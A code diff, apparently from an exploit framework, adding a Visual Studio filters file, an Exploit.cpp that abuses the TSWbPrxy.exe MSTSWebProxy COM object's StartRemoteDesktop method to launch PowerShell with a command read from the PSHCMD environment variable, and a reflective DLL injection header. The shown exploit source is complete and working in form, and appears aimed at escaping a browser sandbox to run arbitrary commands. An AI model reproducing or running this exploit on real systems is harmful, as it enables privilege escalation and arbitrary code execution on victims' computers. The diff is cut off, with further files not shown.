<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="src\ReflectiveDll.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="src\ReflectiveLoader.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="src\Exploit.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="src\ShimsInstaller.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="src\ReflectiveDLLInjection.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\ReflectiveLoader.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\Exploit.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\ShimsInstaller.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,74 @@
|
||||||
|
#include <Windows.h>
|
||||||
|
#include "Exploit.h"
|
||||||
|
#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace
|
||||||
|
|
||||||
|
static const size_t MaxEnv = 32767;
|
||||||
|
|
||||||
|
static PCHAR GetEnv(LPCSTR env)
|
||||||
|
{
|
||||||
|
char *buf = (char *)malloc(MaxEnv);
|
||||||
|
if (buf == NULL) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
GetEnvironmentVariable(env, buf, MaxEnv);
|
||||||
|
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
static VOID DoTSWbPrxyExploit() {
|
||||||
|
HRESULT hr;
|
||||||
|
IMSTSWebProxy *pUnk;
|
||||||
|
CHAR cmdline[] = "TSWbPrxy.exe";
|
||||||
|
STARTUPINFO startInfo = { 0 };
|
||||||
|
PROCESS_INFORMATION procInfo = { 0 };
|
||||||
|
PCHAR fullPath = NULL;
|
||||||
|
PCHAR powershell = NULL;
|
||||||
|
PCHAR pshCmd = NULL;
|
||||||
|
|
||||||
|
fullPath = GetEnv("windir");
|
||||||
|
if (fullPath == NULL) {
|
||||||
|
goto freeFullPath;
|
||||||
|
}
|
||||||
|
strcat_s(fullPath, MaxEnv, "\\System32\\TSWbPrxy.exe");
|
||||||
|
|
||||||
|
powershell = GetEnv("windir");
|
||||||
|
if (powershell == NULL) {
|
||||||
|
goto freePowershell;
|
||||||
|
}
|
||||||
|
strcat_s(powershell, MaxEnv, "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe");
|
||||||
|
|
||||||
|
pshCmd = GetEnv("PSHCMD");
|
||||||
|
if (pshCmd == NULL) {
|
||||||
|
goto freePowershell;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr = CreateProcess(fullPath, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo);
|
||||||
|
if (hr == 0)
|
||||||
|
goto freePshCmd;
|
||||||
|
|
||||||
|
hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk);
|
||||||
|
if (hr != 0)
|
||||||
|
goto freePshCmd;
|
||||||
|
|
||||||
|
pUnk->StartRemoteDesktop(powershell, pshCmd);
|
||||||
|
pUnk->Release();
|
||||||
|
|
||||||
|
freePshCmd:
|
||||||
|
free(pshCmd);
|
||||||
|
pshCmd = NULL;
|
||||||
|
freePowershell:
|
||||||
|
free(powershell);
|
||||||
|
powershell = NULL;
|
||||||
|
freeFullPath:
|
||||||
|
free(fullPath);
|
||||||
|
fullPath = NULL;
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID DoExploit() {
|
||||||
|
CoInitialize(NULL);
|
||||||
|
DoTSWbPrxyExploit();
|
||||||
|
CoUninitialize();
|
||||||
|
}
|
|
@ -0,0 +1,5 @@
|
||||||
|
#ifndef EXPLOIT_H
|
||||||
|
#define EXPLOIT_H
|
||||||
|
|
||||||
|
VOID DoExploit();
|
||||||
|
#endif
|
|
@ -0,0 +1,51 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||||
|
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// we declare some common stuff in here...
|
||||||
|
|
||||||
|
#define DLL_QUERY_HMODULE 6
|
||||||
|
|
||||||
|
#define DEREF( name )*(UINT_PTR *)(name)
|
||||||
|
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||||
|
#define DEREF_32( name )*(DWORD *)(name)
|
||||||
|
#define DEREF_16( name )*(WORD *)(name)
|
||||||
|
#define DEREF_8( name )*(BYTE *)(name)
|
||||||
|
|
||||||
|
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
|
||||||
|
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||||
|
|
||||||
|
#define DLLEXPORT __declspec( dllexport )
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue